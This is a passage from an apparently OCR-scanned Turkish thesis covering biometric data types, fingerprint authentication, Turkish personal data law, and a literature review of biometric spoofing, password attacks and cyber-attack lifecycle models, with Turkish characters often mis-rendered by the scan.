kullanicilar i¢in daha pratik ve kullanici dostu bir deneyim saglar(Jia, Zhang, Chen ve Liu).
Daha Az Kayip ve Unutma Sorunlari: Biyometrik verilerin ozellikleri, bireyin kendine
ozgii ozellikleri temsil ettigi icin, unutma veya kaybetme sorunlarini minimize eder(Jain,

Ross ve Pankanti,2006).

2.3.2.2. Biyometrik verilerin dezavantajlari

Biyometrik verilerin toplanmasi, depolanmasi, saklanmasi bireyler arasinda gizlilik
endiselerine yol agabilir (BBC, 2023). Biyometrik veriler, diger veri tiirleri gibi siber
saldirilara karst savunmasizdir, bu da veri tabanlarina yapilan saldirilar sonucunda
biyometrik verilerin ¢alinmasina ve kotiiye kullanilmasina neden olabilir. Biyometrik
sistemler, bazen yanlis pozitif (false positive) veya negatif (false negative) sonuglar
verebilir. Yanlis pozitif durumunda eslesme olmamasi gereken bir biyometrik verinin
eslesmis olarak kabul edilmesi veya yanlis negatif durumunda ise eslesme olmasi gereken
bir biyometrik verinin eslesmemis olarak kabul edilmesi olarak tanimlayabiliriz. Bu
durumlar sistemlerin giivenilirligi konusunda endiselere neden olabilir (NIST, 2011).
Gizlilik Endiseleri: Biyometrik verilerin toplanmasi ve depolanmasi, bireyler arasinda
gizlilik endiselerine neden olabilir. Bu verilerin kotii niyetli kullanim1 veya yetkisiz erisim
durumlari, ciddi sorunlara yol agabilir (Trewin, 2003). Hatal1 Tanima ve Yanlis Pozitifler:
Biyometrik sistemlerin, kullanici hatalari, cevresel etkiler veya donanim sorunlari
nedeniyle hatali tanima ve yanlis pozitif sonuglar iiretme olasiligt vardir (Ross,
Nandakumar ve Jain, 2006). Maliyet ve Altyap1 Gereksinimleri: Biyometrik sistemlerin
kurulumu ve bakimi genellikle maliyetlidir. Ayrica, yeterli altyap1 ve teknoloji gerektirir

(Ratha, Connell ve Bolle, 2001). Bu avantajlar ve dezavantajlar, biyometrik verilerin
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karmagikligint ve ¢esitli kullanim durumlarini anlamak i¢in énemli bir temel saglar. Bu
noktada, biyometrik teknolojilerin daha etkin ve gilivenli hale getirilmesi i¢in siirekli bir

arastirma ve gelistirme ¢abasi gerekmektedir.

2.3.3. Biyometrik veriler

Kullanicilarin  benzersiz fiziksel veya davranigsal oOzelliklerini temsil eden c¢esitli
biyometrik verileri vardir. Bazi 6nemli biyometrik veri ¢esitleri: Parmak izi, avug izi,
retina, yiiz, ses, DNA, Iris bunlardan bazilaridir. Bu biyometrik verilerin agiklamlar1

asagida yapilmistir.

2.3.3.1. Parmak izi biyometrik verisi ve sistemi

Parmak izi biyometrisinin benzemezlik, degismezlik ve tasnif edilebilirlik ile beraber
kullanim kolaylig1 bulunur. Parmak izi biyometrisi, giiniimiizde bir¢ok farkli uygulama

alaninda, 6zellikle giivenlik sistemlerinde ve kisisel cihazlarda kullanilmaktadir.

Parmak izi, kisilerin parmak uglarindaki deri yiizeyinin benzersiz seklini temsil eder.
Parmak izi olusumu sirasinda genetik faktorler ve c¢evresel etkenlerin bir kombinasyonu
nedeniyle her kiside farklidir. Parmak izi anne karninda 28. haftadan sonra epidermis ve
dermis deri tabakalarinin olusmasi ile beraber olusur ve Omiir boyu degismez. Parmak
ylizeyleri yara veya benzeri durumlarla kars1 karsiya kalsada derinin altindan ayni1 parmak
izi modeli gelmektedir veya kalici bir yara olusmasi durumunda bile yara iziyle beraber
parmak izi egsizligini korumaktadir. Bu benzemezlik ve degismezlik parmak izini glivenilir

bir biyometrik 6zellik haline getirir.

Parmak izi tanima sistemleri, bireyleri tanimlamak veya dogrulamak i¢in parmak izi
desenlerini kullanir. Bireyin parmak izi genellikle bir sensér araciligiyla taranir, ilgili
parmak izi yazilimi sayesinde parmak izleri, parmak izinde bulunan porlarin konumlari,
parmak izi modeli, parmak izinde bulunan &zellikler, bu 6zelliklerin goriilme sikliklari,
ozelliklerin birbirine olan konumu ve mesafeleri gibi 6zellikleri ele alinmak sureti ile
matematiksel bir veri haline getirilir ve sunucu sisteminde veri tabanina kayit edilir (Roddy

ve St0sz,1997). Ardindan veri tabanina kayit edilen veri, yine veritabaninda bulunan



26

onceden kaydedilmis parmak izleriyle karsilastirilir. Bu ydntem, yliksek dogruluk ve

giivenlik seviyeleri saglamak amaciyla siklikla kullanilmaktadir (Neurotechnology, 2023).

2.3.3.2. Avug izi biyometrik verisi ve sistemi

Giliniimlizde artan giivenlik ihtiyaglari, bireylerin ve kurumlarin kimlik dogrulama
stireglerine daha giiclii ve giivenilir ¢6ziim arayislarina yonlendirmistir. Bu baglamda, avug
izi biyometrik verisi, bireylerin kimliklerini dogrulamak ve gilivenligi artirmak i¢in

kullanilan etkili bir yontem olarak 6ne ¢ikmaktadir.

Avug izi, bireylerin avug i¢lerindeki deri yiizeyindeki benzersiz desen ve ¢ikintilardan
olusan bir biyometrik 6zelliktir. Avug izi biyometrik verisi parmak izi verisi ile ayni
ozelliklere sahiptir. Bir parmak izinde yaklagik 100’lin tizerinde 6zellik bulunmaktayken
bu say1 avug izinde 900’{lin Ustlindedir (Briseno, Palancar ve Alonso0,2015). Bu desenler
genetik faktorler ve ¢evresel etkenlerin bir kombinasyonu sonucu ortaya ¢ikar ve bireyden
bireye biiylik olgiide farklilik gosterir. Avug igi, parmak izi ve el bilegi bolgesinin
kombinasyonuyla benzersiz bir kimlik olusturur. Avu¢ izi tanima sistemleri, calisma
prensibi olarak parmak izi sistemi ile ayni olup diinya genelinde genel olarak parmak ve

avug izi tanima sistemleri olarak bir biitiin halinde kabul gérmdstiir.

2.3.3.3. Retina izi biyometrik verisi ve sistemi

Gozde bulunan essiz kimlik izleri seklinde tanimlanabilir. Retina biyometrik verisini
tantyan teknolojiler g6z merceginden giren 1518in goziin arkasinda bulunan kan
damarlarmin yapisint yakalar ve analiz eder. Bu damar yapisi tek yumurta ikizleride dahil
olmak iizere her bireyde farklidir. Ancak seker hastaligi, yiiksek tansiyon gibi hastaliklar
sebebi ile kan damar yapisi etkilenebilmektedir. Retina damar yapisinin tanima
sistemlerine kayit edilmesi i¢in sahsin retina tarama cihazina ¢ok yakin durmasi ve 6l¢iim
yapacak cihazdan gelecek 1s18a goziinii hareket ettirmeden bakmasi gerekmektedir.
Goriilecegi iizere her ne kadar retina biyometrik verisi essiz de olsa bu verinin alinmasi
zorlu bir siirectir. Alinan retina verisi diger biyometrik sistemler gibi 6zellik ¢ikartma, veri

tabania kayit etme ve sorgulama seklinde ¢alismaktadir (Sadikoglu ve Uzelaltinbulat,
2018)
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2.3.3.4. Yiiz goriintiisii biyometrik verisi ve sistemi

Yiiz biyometrik verisi, kisilerin yiizleri lizerinde bulunan 6zelliklerin kimlik dogrulama
veya tanimlama amaciyla kullanilan biyometrik verisidir. Yiiz biyometrisi kisinin yiliz
geometrisi, yiiz hatlar1 ve diger 6zel yiiz 6zelliklerinin ele alinmasidir. Yiiz geometrisi; yiiz
alan1 ve yliz asimetrisi olarak ele alinirken yiiz hatlari; gozler, burun, agiz ve ¢ene olarak
ele almir. Genel yliz goriintlisii noktalar arast mesafeler, konumlar, agilar, oranlar
degerlendirilerek matematiksellestirilir ve bdylece yiiz tanima algoritmalar1 basarili bir
sekilde kimlik dogrulama veya tanimlama yapabilmektedir. Yiiz biyometrik Vverisi
giinlimiizde smir gecislerinde, mobil cihazlara girislerde, bankacilik ve dijital para
islemleri olmak tizere ¢cok genis bir yelpazede kullanilmaktadir. Yiiz biyometrik verisinin
etkin kullanilabilmesi oncelikle bu maksatla kurulmus bir yiiz veri bankasi, yeterli
coOziiniirlikte alinmis yiiz verisi gerekmektedir. Ayrica yiiz tanima sisteminin etkin
caligabilmesini ve essizligini yeterli ¢oziliniirliikte alinmis fotograflar, kisilerin cinsiyeti,
yasl, veritabaninin genisligi, yiiz biyometrik verisinin Ozelliklerini ¢ikaracak yazilim

belirlemektedir (Balazia, Happy, Bremond ve Dantcheva, 2021).

2.3.3.5. Ses goriintiisii biyometrik verisi ve sistemi

Ses biyometrik verisi kisilerin ses 0Ozelliklerinin kullanilarak kimlik dogrulama ve
tanimlama icin kullanilabilen bir biyometrik 6l¢iidiir. Konusmaci tanimanin parmak izi, iris
veya yliz gibi diger insan tanima yontemlerine gore farkli zorluklar: vardir. Genellikle ses
biyometrik verisinin kaydi esnasinda hem konusmaci hemde konusma dis1 seslerde kayda

alindig1 i¢in kendine has zorluklar1 vardir (NIST,2013).

2.3.3.6. DNA biyometrik verisi ve sistemi

Deoksiriboniikleik asit (DNA), her canliy1 benzersiz yapan biyolojik komutlar iceren
yapidir. DNA, igerdigi komutlar1 lireme yolu ile aktarilir. DNA'nin hiicre igerisinde
kromozom i¢inde saklidir. Glinlimiizde kimlik dogrulama maksadiyla yapilan iglemlerin
neredeyse tamaminda parmak izi, avug izi, retina taramasi, DNA gibi biyometrik veriler
kullanilmaktadir. Bu islemler i¢in yasalar ¢ergevesinde veri tabanlar1 bulunmaktadir. DNA
veri bankalari; nadir hastaliklarin tanilanmasi ve tedavisi, kimligi tespit edilemeyen

sahislarin kimliginin belirlenebilmesi, anne - baba - cocuk soybaginin tespiti (neset tayini)
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ve adli amach olarak olay yeri-siipheli kisi eslesmelerinin yapilabilmesi maksadiyla
kullanilmaktadir. Diinya 'da DNA veri bankalarinin adli amagli kullaniminda iilkelere gore
farkliliklar mevcuttur. Bu farkliliklar mevcut yasalarin farkliligi ve iilkelerin giivenlik
anlayisiyla ilgilidir. Ingiltere, Isvigre, Avusturya, Hirvatistan ve Slovenya’ da kayda giren
her sucta DNA orneklemesi yapilmasi benimsenmistir. Almanya ve Finlandiya’da 1 yil,
Danimarka’da 1,5 yil, Tiirkiye’de 2 y1l ve Macaristan’da 5 yildan uzun siire hapis cezasini
gerektiren hallerde, DNA 6rneklemesi yasaldir. Isveg, Belgika, Fransa ve Hollanda’da ise
ciddi suglarda bu islem yapilmaktadir. Almanya, Norveg, Belcika’da mahkeme karari
sonras1 Ornekleme yasal olarak kabul edilirken, Tiirkiye’de alinan materyal 24 saat i¢inde
mahkeme onayia sunulmakta ve mahkemeden onay alan delil hukuka uygun delil olarak
kabul edilmektedir. Adli amaglarla alman DNA profillerinin DNA bankasindan
silinmesinde de farkli diizenlemeler vardir. Ornegin; Ingiltere, Avusturya, Finlandiya ve
Norve¢ mahkiim profillerini bankadan hi¢bir zaman silmemektedir. Diger iilkelerin
cogunda, DNA profillerinin cezaevinden c¢ikist izleyen 5 ila 20 yilda silinmesi

ongoriilmiistiir (Reva, 2022).

2.3.3.7. Iris biyometrik verisi ve sistemi

Iris biyometrik verisi, goziin iris bolgesinde bulunan benzersiz yapmin yiiksek
¢oziiniirliiklii kameralar ile tespit edilen ve benzersiz olan bir veridir. Iris verisi kimlik
dogrulama ve tespitinde yliksek oranda dogruluk saglar ve bu veri benzemezdir. Boylece
iris tanima sistemleri kimlik dogrulamada c¢ok diisiik hatali kabul (false acceptance)
oranlar1 sayesinde en giivenli tespit sistemi saglama potansiyeline sahiptir (Saini R. ve

Rana N., 2014).

2.3.4. Biyometrik veri sistemleri

Biyometrik veri sistemleri Sekil 2.1, temelde biyometrik verinin sensdr vasitasiyla
alinmasi, alinan verinin ilgili biyometrik veriye 6zel yazilim ile 6zelliklerinin ¢ikarilmasi,
ozellikleri ¢ikarilarak matematiksellestirilen verinin veritabanina kayit edilmesi ve
veritabaninda gerekli sorgu yapilarak kimlik dogrulama veya kimlik tespiti gibi islemleri
yapan sistemlerdir. Dijitallesmenin ¢ok yliksek bir ivmeyle devam ettigi gliniimiiz dijital
diinyasinda giivenlik endiselerini gidermek i¢in kisilerin kendisine 6zel biyometrik

verilerini kullanmas1 ka¢inilmaz olmustur. Hatta 6yle ki birden ¢ok biyometrik verinin es
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zamanli kullanimi ile dijital cihazlara giris, bankacilik islemleri, kurumsal isler vb. gibi
tim is ve islemler emniyetle yapilabilecektir. Ayrica ilgili yazilimlar biinyesinde bulunan
biyometrik verileri matematiksel ve sifreli olarak saklayarak erisim hem zorlastiracaktir
hem de izinsiz bir erisim olmasi durumunda ele gegirililen verinin anlamsiz olmasi
saglanabilecektir. Ayrica siber giivenlik tedbirleri ve siber tehditlere yonelik farkindaligin

artmasi ile birlikte sistemin siber glivenligi de saglanmis olacaktir.
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Sekil 2.1. Biyometrik veri ile dogrulama modiilii
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2.3.5. Parmak izi sistemi
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Sekil 2.2. Parmak izi sistemi

Parmak izi sistemleri iki boyutludur diyebiliriz. Ilk boyut yetkili kullanicilar tarafindan
parmak izi biyometrik verisinin yeterli kalitede, canli parmak izi alma ve kayit etme cihazi
(Live Scanner-LS) ile alinarak, parmak izinin 6zelliklerinin ¢ikarilarak veri tabanina kayit
edildigi boliimdiir. Ikinci boyut ise parmak izi ile dogrulama yapmak igin ilgili cihazdan
parmak izinin alinarak veri tabaninda sorgulanmasi ve parmak izinden dogrulamanin

yapildig1 boliimdiir. Tiim bu akis semasi Sekil 2.2°de gortilmektedir.

2.3.6. Parmak izi ile kimlik dogrulama

Gilinlimiizde, parmak izi ile kimlik dogrulama, bireylerin parmak uglarindaki benzersiz deri
izlerini kullanarak giivenli ve etkili bir kimlik dogrulama yontemi olarak 6ne ¢ikmaktadir.

Parmak izi teknolojisi, kullanicilarin geleneksel sifre veya kart tabanli kimlik dogrulama
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yontemlerine kiyasla daha hizli, giivenli ve kullanic1 dostu bir deneyim sunmaktadir. Bu

deneyime benzersizlik ve giivenligin birlesimi diyebiliriz.

Gelisen teknoloji ile birlikte, kimlik dogrulama sistemlerinde parmak izi teknolojisi,
bireylerin kimliklerini giivenli bir sekilde dogrulamak i¢in kullanilan etkili bir biyometrik
veri tiirii haline gelmistir (Jain, Bolle ve Pankanti, 1999). Parmak izi tabanli kimlik
dogrulamanin, benzersiz ve istikrarli fiziksel 6zelliklere dayali olarak, diger biyometrik
veri tlirlerine kiyasla daha yiiksek bir dogruluk seviyesi sagladigini belirtir. Bu, her bireyin

parmak izinin, diinya genelinde essiz oldugu gergegiyle iliskilidir.

Parmak izi ile kimlik dogrulama, kullanicilar arasinda oldukg¢a yaygin ve kabul gérmiis bir
biyometrik gilivenlik yontemidir (Maltoni, Maio, Jain ve Feng, 2009). Parmak izi
verilerinin yliksek drneklenme ¢oziiniirliigii ve 6zel desenlerin detayli bir sekilde analizi
sayesinde giivenilir bir kimlik dogrulama sagladigini vurgular. Bu veri tiiriiniin
benzersizligi, kullanicilarin parmak izi kullanarak giivenli bir sekilde sistemlere

erismelerine olanak tanir.

Bununla birlikte, parmak izi ile kimlik dogrulamanin kullanimi, gizlilik ve giivenlik
endiselerini de beraberinde getirmektedir (Jain, Ross ve Prabhakar, 2004). Parmak izi
verilerinin saklanmasi ve yonetilmesi siirecinde gizlilik konularina odaklanir. Bu, parmak

izi verilerinin yetkisiz erisimlere kars1 korunmasi gerektigi anlamina gelir.

Ayrica, parmak 1zi teknolojisinin hatali tanima oranlarini1 ele alan bazi calismalar da
bulunmaktadir. Sinirli 6rneklemeler, cilt hastaliklar veya yara izleri gibi faktorler, sistemin
hatali sonuglar iiretme olasiligini artirabilir. Bu noktada, siirekli arastirma ve gelistirme

caligmalarina olan ihtiya¢ 6nemlidir.

Sonug olarak, parmak izi ile kimlik dogrulama, benzersizlik ve giivenlik acisindan etkili bir
¢oziim sunar. Ancak, bu teknolojinin kullanimiyla ilgili gizlilik ve hatali tanima
sorunlarina dikkat edilmelidir. Gelecekteki gelismeler, parmak izi teknolojisinin daha

giivenli ve giivenilir hale getirilmesini saglayacak inovasyonlar1 beraberinde getirecektir.
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2.4. Literatiir Taramasi

Kisisel veri kavrami ele alindiginda 6698 sayili Kisisel Verilerin Korunmas: Kanunu’nun
3. Madde d. fikrasinda “Kisisel veri: Kimligi belirli veya belirlenebilir gergek kisiye
iliskin her tirlii bilgiyi,” olarak tanimlamistir. Bu tanima gore parmak izi, avug izi, ayak
izi, dudak izi, kulak izi, DNA, ses, imza, yiiz, damar izi, retina, iris gibi islenebilir kisisel
veriler ilgili tanim araliina girmektedir. Yine ayni kanunun 6. maddesinde; 6zel nitelikli
kisisel verilerin islenme sartlar1 ele alimmistir. “Kisilerin 1rki, etnik kokeni, siyasi
diisiincesi, felsefi inanci, dini mezhebi veya diger inanclari, kilik ve kiyafeti, dernek vakif
ya da sendika tyeligi, sagligi, cinsel hayati, ceza mahkimiyeti ve giivenlik tedbirleriyle

ilgili verileri ile biyometrik ve genetik verileri 6zel nitelikli kisisel veridir.”

Ayrica ayni kanunun Veri giivenligine iliskin yiikiimliiliikleri ise;

“Madde 12- (1) Veri sorumlusu;

a) Kisisel verilerin hukuka aykiri olarak islenmesini 6nlemek,

b) Kisisel verilere hukuka aykiri olarak erisilmesini 6nlemek,

c) Kisisel verilerin muhafazasini saglamak amaciyla uygun giivenlik diizeyini temin
etmeye yonelik gerekli her tiirli teknik ve idari tedbirleri almak zorundadir.

(2) Veri sorumlusu, kisisel verilerin kendi adina baska bir gercek veya tiizel kisi
tarafindan islenmesi halinde, birinci fikrada belirtilen tedbirlerin alinmasi hususunda bu
kisilerle birlikte miistereken sorumludur.

(3) Veri sorumlusu, kendi kurum veya kurulusunda, bu Kanun hiikiimlerinin
uygulanmasimi saglamak amaciyla gerekli denetimleri yapmak veya yaptirmak
zorundadir.

(4) Veri sorumlulan ile veri isleyen kisiler, 6grendikleri kisisel verileri bu Kanun
hiikiimlerine aykir1 olarak baskasina agiklayamaz ve isleme amaci disinda
kullanamazlar. Bu yiikiimliiliik gérevden ayrilmalarindan sonra da devam eder.

(5) Islenen kisisel verilerin kanuni olmayan yollarla baskalar: tarafindan elde edilmesi
halinde, veri sorumlusu bu durumu en kisa siirede ilgilisine ve Kurula bildirir. Kurul,
gerekmesi halinde bu durumu, kendi internet sitesinde ya da uygun gorecegi baska bir
yontemle ilan edebilir.”

Goriilecegi lizere 6698 sayil1 Kisisel Verilerin Korunmasi Kanunu tanimlamalar1 yapmakla

beraber giivenligini de ele almistir.

Tuncay (2020) tarafindan yapilan tez calismasinda biyometrik verilerin nitelikleri geregi
biyometrik veri sahibi ile baglantili oldugunu belirtmistir. Biyometrik verilerin birgok
alanda etkin sekilde kullanildigin1 ve faydali oldugunu belirtmekle beraber giivenilir

goriinen biyometrik sistemlerinde aldatilabildigini belirtmistir. Bu sorun ile birlikte
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degerlendirdiginde biyometrik verilerin kullanilmast ihtiyacinin ve giivenliginin ayni anda

dengeli bir sekilde ele alinmasi gereklilini vurgulamigtir.

Einy (2021) biyometrik sahtekarlifa ve ag anormallik tespitine dayali saldir1 tespitine
yonelik yaptig1 calismalar neticesinde 4 farkli saldir1 tespit yaklagimi gelistirmistir.
Bunlardan birincisi IOT Tabanli Cergeve Yiiz Sahtekarligi Algilamasi olmustur. Bu
yaklasimda c¢evrimigi bir sinava katilacak katilimeimnin yiliz goriintiisiinii yakalayacak bir
sensOr, sonsoriin yakaladigi yliz goriintlisiinii bulut tlizerinden yiiz sahtekarlig1 agisindan
yiiz goriintiisiiniin Ozelliklerinin ¢ikarilarak sorgulanmasin1 kapsamaktadir. Bu sliregte
Replay attack ve ROSE-Youtu (Yiz canlilik algilama veritabani) test yontemi
kullanilmistir. Ikinci yaklasim olarak Renk Alani Déniisiimii ¢alismistir. Calismanim bu
boliimiinde evrisimli sinir aglari(CNN) ve 6zellik secimi yontemini kullanmistir. Evrisimli
sinir ag1 ile yiiz goriintiileri 3x3, 5x5 veya 7x7 piksel filtreler icerecek sekilde evrisimli
katman olusturmustur. Ozellik secimi yontemi ile korelasyona sahip dzellikleri alt calisma
kiimesine almistir ve ilgisiz 6zellikleri disarida tutmustur. Calismanin {i¢iincii boliimiinde
Yiiz Sahtekarlig: Tespiti Igin Saglam Derin Inang Ag1 kullanmistir. Oncelikle kurbanin yiiz
biyometrik bilgilerine sosyal aglardan veya baska alanlardan erisim saglanmasi ilk
adimdir. Boylece kurbanin yapay yliz biyometrisinin olusturulabilmesi i¢in ilk adim
atilmistir. Boylece 3D saldirisi, ekran goriintiisii saldirisi, baski saldirisi ve tekrar saldirisi
olmak tizere dort farkli aldatma stratejisine ayrilmistir. Bu aldatma stratejilerine karsilik
dudak hareketini, kafa hareketini ve g6z kirpma hareketi gibi karmagik hareketlerin
ipuclarmi yakalayacak Saglam temel bilesen analizi (RPCA) analizi kullanilmigtir.
Calismanin dordiincii boliimiinde Hibrit imza sistemi ve anormaillik tabanli saldir1 tespit

sistemi ile ¢esitli saldir tlirlerine yonelik ag giivenligine yonelik tedbir 6nerisi sunmustur.

Sudar, Deepalakshmi, Ponmozhi ve Nagaraj (2019) giivenlik tehditleri ve kars1 tedbir
olarak biyometrik teknikleri ele almistir. PIN (Personal Identification Number) yani kisisel
sifreler ile internet diinyasina giris yapmanin giivensiz oldugunu belirtmistir. Bu sifrelerin
kolayca ele gecirilebildigini veya kullanici tarafindan unutulmalar1 sebebi ile biyometrik
dogrulama ile giris yapmani yetkisiz girisi engelleyecegini belirtmistir. Bu baglamda
parmak izi, damar izi, iris, avug izi, yiiz ile dogrulama gibi teknikler ele almislardir.
Belirtilen tiim bu biyometrik verilerin kayit edilmesi, ozelliklerinin ¢ikarilmasi, veri
tabanina kayit edilmesi, sorgulanmasi, sonuglandirilmasi, biyometrik verilerin olumlu ve

olumsuz yanlarini ele almislardir. Devaminda ise biyometrik tekniklerin siber tehditlerini
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ele almistir. Bu tehditleri dogrudan ve dolayli tehditler olarak ayirmislardir. Dogrudan
tehditleri sensor seviyesinde sisteme yetkili kullanici girisinin engellenmesine yonelik olan
tehditler olarak kabul etmistir. Dolayli tehditleri ise siber saldirgan veya hackerlarin
biyometrik sistemin 0zellik ¢ikartma, veritabani, eslestirme, sorgulama gibi modiillerinin
calismasimi engelleyecek tehditler olarak kabul etmistir. Tehdit bolgelerini sekiz alana
bolmiistiir. Sonug olarak biyometrik verilerin giivenilir, essiz, tasnif edilebilir, saklanabilir
olmasi ile birlikte kimlik dogrulamada essiz kullanimi saldirganlarin hedefi olmasina
yeterli olmustur. Bu baglamda 6zellikte biyometrik veriler ile kimlik dogrulamada canlilik

analizinin ¢ok 6nemli oldugunu belirtmislerdir.

Ratha, Connell ve Bolle (2001) web tabanli diinyada daha giivenli dogrulama ig¢in
biyometrik dogrulamanim énemini ve bu yontemin agikliklarini ele almiglardir. Oncelikle
biyometrik tabanli bir sistemin muhtemel agiklik noktalarini belirlemistir. Bu noktalari
sekiz bolgeye ayirmustir. Birinci nokta olarak biyometrik veri kaydi alan sensoér, ikinci
nokta alinan biyometrik verinin sensdrden ozellik cikarilmak tizere ozellik ¢ikariciya
gonderilmesi siireci, liclincli nokta 6zellik ¢ikaricinin hatali veya hi¢ ¢alismamasina sebep
olacak agiklik, dordiincii nokta dogru ¢ikarilmis 6zelliklerin degistirilmesine sebep olacak
aciklik, besinci nokta eslestirme silirecini manipiile edecek agiklik, altinct nokta
veritabaninda bulunan dogru biyometrik veriye yapilacak bir etki ile sonucu
degistirilmesine sebep olabilecek agiklik, yedinci veritabanindan eslestirmeye gidecek
veriyi degistirmek sureti ile sonucu etki edebilecek agiklik ve son olarak sekizinci agiklik
noktasi tiim islemler sonucunda sonucun hatali olmasina sebep olabilecek agikliklar olarak
ele alinmistir. Bu noktalara Kaba kuvvet saldiris1 (Brute Force Attack) ve yeniden oynatma

saldiris1 (Replay Attack) yapmislardir.

Tasci, Gonen, Bariskan, Karacayillmaz ve Yilmaz (2021) sifrelerin ele gegirilmesine
yonelik Makine Ogrenimi Kullanilarak bal kiipii saldir1 izleme ydntemi iizerinden Sifre
Saldirist Analizi yapmuslardir. Calismada Ilk olarak portlar incelenerek agik port olup
olmadig1 incelenmistir. Miiteakiben DoS/DDoS saldiris1 yapilmistir sistemde olusturulan
aksaklik ile es zamanli olarak 3 farkli sifre saldirist yapilmistir. Bunlar kaba kuvvet
saldiris1 (brute force attack ), sozliik saldirist (dictionary attack) ve oltalama yontemi ile
hazir sozliikk (prepared dictionary) saldirisidir. Kaba kuvvet saldirist ile tiim olasi sifre
kombinasyonu denenerek yapilmistir. Sozlikk saldiris1 bilinen sifreler listesi denenerek

sifrenin bulunmasin1 amaglar ve son olarak oltalama ile muhtemel sifreleri belirlemek
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amaglanir boylece hedefe 6zel bir sifre kombinasyonu sozliigii olusturulur devaminda

olusan sozliik kullanilarak (prepared dictionary) sifre saldiris1 yapilmistir.

Filiz (2012) yiiksek lisans tezinde Oncelikle tiim biyometrik yoOntemlerin birbirine
benzedigini, tiim biyometrik veri kullanan sistemlerin ilgili biyometrik verinin essiz
karakteristik niteliklerini elde ederek ve dijital hale getirerek ilgili veritabalarinda
kullanildigin1 ayrica bu sistemlerin sorgu islemlerine hizli cevap verebildigini boylece
tanima isleminin dogru ve hizli yapalabilecegini belirtmistir. Calismasinda bir¢ok yliz
tanima yaklasimi icinden Olgekten Bagimsiz Ozellik Déniisiimii (Scale Invariant Feature
Transform- SIFT) ile Destek Vektor Makinalari’na (Support Vector Machine) dayali yiiz

tanima sistemini dnermistir ve bu algoritmayi ¢esitli yiliz veri tabanlarinda uygulamstir.

Yadav ve Rao (2015), Assante ve Lee (2015) ve Cuevas ve Javier siber 6liim zincirine
(Cyber kill chain) ydnelik ¢alisma yapmustir. Oncelikle bir siber saldirmin dncelikle yasam
dongiisiinii ele almistir ve bu dongii iginde saldirinin belirteglerini agiklamistir. ilk olarak
siber 6liim zincirini ele almistir. Siber 6liim zinciri bir siber saldirganin siber atak siiresince
saldirgan davranislarini modellemektedir. Bu model yedi boliimden olugmaktadir. Birinci
boliim kesif (reconnaissance) asamasidir. Bu asamada saldir1 hedefi ile ilgili potansiyel
hedefleri belirlemek icin bilgi toplanmaktadir. Bilgi, hedefin internet gezinme
aliskanlhiklari, katildigi konferanslar, sosyal medya aligkanliklari, sosyal iligkileri,
elektronik postalar, agda gezinirken biraktig1 ipuclarindan elde edilmektedir. Bilginin elde
edilme metodunu ise aktif ve pasif yontemler olmak iizere ikiye ayirmistir. Pasif metot
uygulamasinda hedefin farkinda olmadan bilginin toplandig1 ve aktif metot ise hedefin
kesif faaliyetini fark edebilecegi yontemler olarak agiklamistir. Kesif agsamasinda amag
potansiyel hedefin belirlenmesi ve hedefe yapilacak olan saldirinin tipinin belirlenmesidir.
Ikinci boliim silahlandirma (weaponize) asamasidir. Bu asamada kesif asamasinda elde
edilerek belirlenen arka kapilar (backdoor) i¢in kotii amacgh yazilim veya siber saldir
araglarin1 hazirlar ve kullamma hazir hale getirir. Ugiincii boliim dagitim (delivery)
asamasidir. Silahlandirma asamasinda hazirlanan saldir1 aracinin hedefe yonlendirildigi
asamadir. Bu agsama kritik bir asamadir. Etkili ve verimli bir saldiriyr bu asama belirler
denebilir. Basarili bir dagitim i¢in birden fazla yontem denenmelidir. Ayrica bu asama
saldirt ile ilgili iz birakacak bir asamadir. Bu sebeple yonlendirme islemleri anonim servis
saglayicilarindan, web sitelerinden veya elektronik postalardan yapilmalidir. Dordiincii

béliim sémiirii (exploitation) asamasidir. Ikinci boliimde belirlenen saldir1 silahini iigiincii
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boliimde belirlenen yol veya yollar ile hedefe dagitiminin basariyla yapilmasina miiteakip
hedefin sOmiiriilmesidir. Somiirii iglemi bazi kosullarda olmalidir. Bunlar hedefin
somiiriilen sistemi kullanmasi, hedef sistemin kullanicisi tarafindan giincellenmemesi, anti
virlis veya benzer yapilarin sOmiiriiyli tespit etmemesi gerekmektedir. Kosullar
saglandiginda somiirii baslatilabilir. Siber 6lim zincirinin en kritik boliimii siiphesiz bu
boliimdiir. Besinci boliim kurulum (Installation) asamasidir. Hedef sistemde kotii amacglt
yazilim veya araglarin kurularak sistemde kotii amacgh varligin olusturuldugu asamadir.
Kurulum asamasmin basarili olmasi i¢in yiiklenen kotii amagli yazilimin hedefin hata
ayiklama islemine karsi tedbirli veya anti-anti virlis yani anti viriis tedbirini asabilecek
yeterlilikte olmasina baglidir. Altinct boliim komuta ve kontrol (command and control)
asamasidir. Hedefte kotii amagli yazilim veya araclarin kurulmus ve kontrol edilip
yonlendirilebildigi bir komuta kontrol altyapisinin kuruldugu béliimdiir. Komuta kontrol
sistemi hedefi uzaktan ele gegiren ve gizli talimatlar vermek i¢in kullanilmaktadir. Son
olarak yedinci boliim hedefe yonelik eylemler (actions on objectives) asamasidir. Artik
hedef sistemden elde edilmek istenenlerin elde edildigi boliimdiir. Veri ¢alma, veriye hasar
verme, veriye erisilemez hale getirme, verinin kullanimini kendisine bagimli hale getirmek

gibi eylemler yapilabilmektedir.

Ozalp (2023) doktora tezinde siber atak yasam dongiisiinii Mandiant Atak Yasam Dongiisii
(Mandiant Attack Life Cycle) ile ele almistir. Mandiant Atak Yasam Dongiisiinii sekiz
bolimde ele almistir. Bunlar baslangigc kesfi (Initial recon), ilk hareket (Initial
comprimise), yerlesme (Establish foothold), yetki yilikseltme (Escalate priviliges), i¢ kesif
(Internal recon), yayilma (Move Laterally), yerini saglamlastirma (Maintain presence) ve
gorevi tamamlamadir (Complete Mission). Hedefin ag hareketleri incelenerek saldiri
vektori olusturulur. Saldir1 vektorii sizma igslemleri ile hedefe iletilir. Bu iletimin basarisi
hedefin kesfi ile ele gegirilen bilgilerin basarisi ile dogru orantilidir. Basarili bir sizma ile
saldir1 vektoriiniin hedefe yerlesmesi amaclanir. Hedefe yerlesen saldir1 vektorii degerli
olarak kabul edilebilecek verilere ulasabilmek i¢in yetki yiikseltme, kullanict adi ve sifre
erisimini amaglar. Hedefte yetkili olarak bulunabilme yetenegi saglandiktan sonra hedefin
aginda kesif yapilir. Yapilan bu i¢ kesif ile hedefin yetkili katmanlarinda bir bilgiye
ulasilmasi hedeflenir. Eger bir bilgi elde edilemez ise hedef ile baglantili diger cihazlara
erisim hedeflenir. Hedefte veya baglantili diger cihazlar {izerinde zararli yazilimlar ile

strdiiriilebilir erisim saglanir. Nihayetinde son olarak verilere erisim, erigilen verileri
